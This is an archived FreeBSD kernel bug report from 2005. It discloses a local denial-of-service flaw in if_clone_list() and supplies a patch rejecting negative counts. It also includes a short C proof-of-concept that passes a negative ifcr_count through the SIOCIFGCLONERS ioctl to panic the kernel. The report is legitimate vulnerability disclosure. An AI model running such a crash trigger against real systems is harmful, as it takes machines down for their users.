kern/77748: [PATCH] Local DoS from user-space in if_clone_list()
Wojciech A. Koszek
dunstan at freebsd.czest.pl
Sat Feb 19 21:50:10 GMT 2005
>Number: 77748
>Category: kern
>Synopsis: [PATCH] Local DoS from user-space in if_clone_list()
>Confidential: no
>Severity: critical
>Priority: high
>Responsible: freebsd-bugs
>State: open
>Quarter:
>Keywords:
>Date-Required:
>Class: sw-bug
>Submitter-Id: current-users
>Arrival-Date: Sat Feb 19 21:50:09 GMT 2005
>Closed-Date:
>Last-Modified:
>Originator: Wojciech A. Koszek
>Release: FreeBSD 5.3-STABLE i386
>Organization:
>Environment:
System: FreeBSD dunstan.freebsd.czest.pl 5.3-STABLE FreeBSD 5.3-STABLE #0: Sat Feb 12 11:15:23 CET 2005 root at dunstan.freebsd.czest.pl:/usr/obj/usr/src/sys/HOME6 i386
--
kern.ostype: FreeBSD
kern.osrelease: 5.3-STABLE
kern.osrevision: 199506
kern.version: FreeBSD 5.3-STABLE #0: Sat Feb 12 11:15:23 CET 2005
root at dunstan.freebsd.czest.pl:/usr/obj/usr/src/sys/HOME6
--
kern.ostype: FreeBSD
kern.osrelease: 6.0-CURRENT
kern.osrevision: 199506
kern.version: FreeBSD 6.0-CURRENT #2: Sat Feb 12 10:43:18 UTC 2005
root@:/usr/obj/usr/src/sys/GENERIC
--
>Description:
Bug exists in /usr/src/sys/net/if_clone.c, function if_clone_list().
This function use arguments which has been transferred from user-space,
with only partial validation tests. Thus, user may send malicious data
causing system to crash (if_clone_list() is used when ioctl is called with
SIOCIFGCLONERS on open socket as file descriptor).
>How-To-Repeat:
Attached code [if_clone_test.c] should panic your kernel:
$ gcc if_clone_test.c -o if_clone_test
$ ./if_clone_test
>Fix:
Attached patch [diff.0.if_clone.c] corrects this problem (-STABLE and -CURRENT).
Patch should be tested.
--- diff.0.if_clone.c begins here ---
Patch against FreeBSD 5.3-STABLE, kern.osreldate: 503102.
diff -upr /usr/src/sys/net/if_clone.c src/sys/net/if_clone.c
--- /usr/src/sys/net/if_clone.c Sat Feb 12 09:36:35 2005
+++ src/sys/net/if_clone.c Sat Feb 19 20:25:21 2005
@@ -239,6 +239,9 @@ if_clone_list(struct if_clonereq *ifcr)
struct if_clone *ifc;
int buf_count, count, err = 0;
+ if (ifcr->ifcr_count < 0)
+ return (EINVAL);
+
IF_CLONERS_LOCK();
/*
* Set our internal output buffer size. We could end up not
--- diff.0.if_clone.c ends here ---
--- if_clone_test.c begins here ---
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/signal.h>
#include <sys/wait.h>
#include <net/if.h>
#include <netinet/in.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <sysexits.h>
int
main ()
{
int s = 0, error = 0;
int x;
struct if_clonereq clr;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if (s == -1)
errx(1, "Couldn't create socket");
clr.ifcr_count = -10;
clr.ifcr_buffer = NULL;
error = ioctl(s, SIOCIFGCLONERS, &clr);
if (error != 0)
errx(1, "Error while ioctl()");
close(s);
exit(EX_OK);
}
--- if_clone_test.c ends here ---
>Release-Note:
>Audit-Trail:
>Unformatted:
More information about the freebsd-bugs
mailing list